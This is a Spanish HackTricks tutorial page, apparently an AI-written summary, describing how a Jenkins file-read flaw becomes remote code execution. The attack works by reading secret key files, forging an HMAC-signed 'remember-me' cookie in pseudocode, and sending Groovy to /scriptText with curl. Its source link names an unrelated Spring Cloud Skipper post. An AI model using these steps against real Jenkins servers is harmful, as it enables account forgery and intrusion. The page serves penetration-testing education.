Jenkins Lectura Arbitraria de Archivos a RCE a través de “Recordarme”
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
En esta publicación de blog es posible encontrar una gran manera de transformar una vulnerabilidad de Inclusión de Archivos Local en Jenkins en RCE: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/
Este es un resumen creado por IA de la parte de la publicación donde se abusa de la creación de una cookie arbitraria para obtener RCE abusando de una lectura de archivos locales hasta que tenga tiempo de crear un resumen por mi cuenta:
Prerrequisitos del Ataque
- Requisito de Función: “Recordarme” debe estar habilitado (configuración predeterminada).
- Niveles de Acceso: El atacante necesita permisos de Lectura/General.
- Acceso Secreto: Capacidad para leer tanto contenido binario como textual de archivos clave.
Proceso de Explotación Detallado
Paso 1: Recolección de Datos
Recuperación de Información del Usuario
- Acceder a la configuración del usuario y secretos desde
$JENKINS_HOME/users/*.xmlpara cada usuario para recopilar: - Nombre de Usuario
- Semilla del Usuario
- Marca de Tiempo
- Hash de Contraseña
Extracción de Claves Secretas
- Extraer claves criptográficas utilizadas para firmar la cookie:
- Clave Secreta:
$JENKINS_HOME/secret.key - Clave Maestra:
$JENKINS_HOME/secrets/master.key - Archivo de Clave MAC:
$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac
Paso 2: Forja de Cookies
Preparación del Token
- Calcular Tiempo de Expiración del Token:
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Agrega una hora al tiempo actual
- Concatenar Datos para el Token:
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
Desencriptación de la Clave MAC
- Desencriptar Archivo de Clave MAC:
key = toAes128Key(masterKey) // Convertir clave maestra a formato de clave AES128
decrypted = AES.decrypt(macFile, key) // Desencriptar el archivo .mac
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
Cálculo de la Firma
- Calcular HMAC SHA256:
mac = HmacSHA256(token, macKey) // Calcular HMAC usando el token y la clave MAC
tokenSignature = bytesToHexString(mac) // Convertir el MAC a una cadena hexadecimal
Codificación de la Cookie
- Generar Cookie Final:
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Codificar en Base64 los datos de la cookie
Paso 3: Ejecución de Código
Autenticación de Sesión
- Obtener Tokens CSRF y de Sesión:
- Hacer una solicitud a
/crumbIssuer/api/jsonpara obtenerJenkins-Crumb. - Capturar
JSESSIONIDde la respuesta, que se utilizará junto con la cookie de recordar-me.
Solicitud de Ejecución de Comando
- Enviar una Solicitud POST con Script Groovy:
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
- El script Groovy se puede utilizar para ejecutar comandos a nivel de sistema u otras operaciones dentro del entorno de Jenkins.
El comando curl de ejemplo proporcionado demuestra cómo hacer una solicitud a Jenkins con los encabezados y cookies necesarios para ejecutar código arbitrario de manera segura.
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

